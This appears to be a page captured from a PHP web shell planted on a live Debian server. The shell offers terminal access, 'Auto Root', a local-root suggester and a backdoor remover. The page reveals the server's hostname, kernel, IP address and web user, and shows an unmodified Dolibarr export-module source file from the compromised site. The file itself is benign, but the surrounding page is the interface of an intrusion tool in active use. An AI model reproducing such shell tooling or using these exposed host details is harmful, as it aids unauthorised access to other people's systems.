Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
bdc.bdcloud.fr /
core /
modules /
export /
Delete
Unzip
Name
Size
Permission
Date
Action
export_csv.modules.php
9.96
KB
-rwxr-x---
2023-04-04 15:50
export_excel2007.modules.php
20.96
KB
-rwxr-x---
2023-04-04 15:50
export_tsv.modules.php
8.47
KB
-rwxr-x---
2023-04-04 15:50
modules_export.php
4.28
KB
-rwxr-x---
2023-04-04 15:50
Save
Rename
<?php /* Copyright (C) 2005 Laurent Destailleur <eldy@users.sourceforge.net> * Copyright (C) 2005-2007 Regis Houssin <regis.houssin@inodbox.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <https://www.gnu.org/licenses/>. */ /** * \file htdocs/core/modules/export/modules_export.php * \ingroup export * \brief File of parent class for export modules */ require_once DOL_DOCUMENT_ROOT.'/core/class/commondocgenerator.class.php'; /** * Parent class for export modules */ class ModeleExports extends CommonDocGenerator // This class can't be abstract as there is instance propreties loaded by liste_modeles { /** * @var string Error code (or message) */ public $error = ''; public $driverlabel = array(); public $driverversion = array(); public $liblabel = array(); public $libversion = array(); // phpcs:disable PEAR.NamingConventions.ValidFunctionName.ScopeNotCamelCaps /** * Load into memory list of available export format * * @param DoliDB $db Database handler * @param integer $maxfilenamelength Max length of value to show * @return array List of templates (same content than array this->driverlabel) */ public function liste_modeles($db, $maxfilenamelength = 0) { // phpcs:enable dol_syslog(get_class($this)."::liste_modeles"); $dir = DOL_DOCUMENT_ROOT."/core/modules/export/"; $handle = opendir($dir); // Recherche des fichiers drivers exports disponibles $i = 0; if (is_resource($handle)) { while (($file = readdir($handle)) !== false) { if (preg_match("/^export_(.*)\.modules\.php$/i", $file, $reg)) { $moduleid = $reg[1]; // Loading Class $file = $dir."export_".$moduleid.".modules.php"; $classname = "Export".ucfirst($moduleid); require_once $file; if (class_exists($classname)) { $module = new $classname($db); // Picto $this->picto[$module->id] = $module->picto; // Driver properties $this->driverlabel[$module->id] = $module->getDriverLabel().(empty($module->disabled) ? '' : ' __(Disabled)__'); // '__(Disabled)__' is a key $this->driverdesc[$module->id] = $module->getDriverDesc(); $this->driverversion[$module->id] = $module->getDriverVersion(); // If use an external lib $this->liblabel[$module->id] = $module->getLibLabel(); $this->libversion[$module->id] = $module->getLibVersion(); } $i++; } } closedir($handle); } asort($this->driverlabel); return $this->driverlabel; } /** * Return picto of export driver * * @param string $key Key of driver * @return string Picto string */ public function getPictoForKey($key) { return $this->picto[$key]; } /** * Renvoi libelle d'un driver export * * @param string $key Key of driver * @return string Label */ public function getDriverLabelForKey($key) { return $this->driverlabel[$key]; } /** * Renvoi le descriptif d'un driver export * * @param string $key Key of driver * @return string Description */ public function getDriverDescForKey($key) { return $this->driverdesc[$key]; } /** * Renvoi version d'un driver export * * @param string $key Key of driver * @return string Driver version */ public function getDriverVersionForKey($key) { return $this->driverversion[$key]; } /** * Renvoi libelle de librairie externe du driver * * @param string $key Key of driver * @return string Label of library */ public function getLibLabelForKey($key) { return $this->liblabel[$key]; } /** * Renvoi version de librairie externe du driver * * @param string $key Key of driver * @return string Version of library */ public function getLibVersionForKey($key) { return $this->libversion[$key]; } }